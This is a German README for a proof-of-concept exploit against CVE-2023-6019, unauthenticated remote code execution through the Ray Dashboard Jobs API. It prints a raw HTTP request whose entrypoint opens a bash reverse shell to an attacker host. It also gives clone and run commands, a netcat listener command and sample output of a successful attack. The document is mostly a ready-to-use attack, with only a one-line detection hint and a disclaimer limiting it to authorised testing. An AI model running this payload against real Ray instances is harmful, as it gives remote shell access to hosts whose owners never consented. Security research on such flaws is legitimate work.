
PoC-Exploit für CVE-2023-6019, der nicht authentifizierte Remote-Codeausführung im Anyscale Ray Dashboard über die Jobs-API ausnutzt. Liefert eine Reverse Shell auf anfälligen Ray-Instanzen (< 2.6.4).
PoC-Exploit für CVE-2023-6019 — Remote Code Execution über die nicht authentifizierte Ray Dashboard Jobs API.
Erstellt von oguiii
Anyscale Ray ist ein Open-Source-Framework für verteilte ML/AI-Workloads. Versionen vor 2.6.4 legen eine Job-Übermittlungs-API über das Ray Dashboard (Standardport 8265) ohne jegliche Authentifizierung offen, sodass ein nicht authentifizierter Angreifer beliebige Jobs einreichen und eine Remote Code Execution auf dem Host erreichen kann.
Der Endpunkt /api/jobs/ akzeptiert ein JSON-Payload mit einem entrypoint-Feld, das als Shell-Befehl vom Ray-Worker-Prozess ausgeführt wird – keine Anmeldeinformationen erforderlich.
POST /api/jobs/ HTTP/1.1
Host: <target>:8265
Content-Type: application/json
{
"entrypoint": "bash -c 'bash -i >& /dev/tcp/ATTACKER/PORT 0>&1'",
"runtime_env": {},
"job_id": null,
"metadata": {}
}
git clone https://github.com/joaquinrrr/CVE-2023-6019
cd CVE-2023-6019
pip install requests
python3 CVE-2023-6019.py -t <TARGET_IP> -p <PORT> -l <LHOST> -lp <LPORT>
| Flag | Beschreibung | Standard |
|---|---|---|
-t | Ziel-IP oder Hostname | erforderlich |
-p | Ray Dashboard-Port | 8265 |
-l | Angreifer-IP (Reverse Shell) | erforderlich |
-lp | Angreifer-Port (Reverse Shell) | erforderlich |
# Listener starten
nc -lvnp 4444
# Exploit ausführen
python3 CVE-2023-6019.py -t 192.168.1.100 -p 8265 -l 192.168.1.10 -lp 4444
[*] Checking Ray version at 192.168.1.100:8265...
[*] Ray API version : 4
[*] Ray version : 2.6.3
[+] VULNERABLE! Ray 2.6.3 is affected by CVE-2023-6019
[*] Target : http://192.168.1.100:8265/api/jobs/
[*] Reverse shell : 192.168.1.10:4444
[*] Submitting job...
[+] Job submitted successfully!
[+] Job ID: raysubmit_Gztg89LZuTa8Jevc
[>] Make sure your listener is ready:
nc -lvnp 4444
Suchen Sie in Ihren HTTP-Protokollen oder Ihrem Netzwerkverkehr nach unerwarteten POST-Anfragen an /api/jobs/ auf Port 8265.
Dieses Tool ist ausschließlich für autorisierte Penetrationstests und Bildungszwecke gedacht.
Der Autor übernimmt keine Verantwortung für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.
Holen Sie vor dem Testen immer eine schriftliche Genehmigung ein.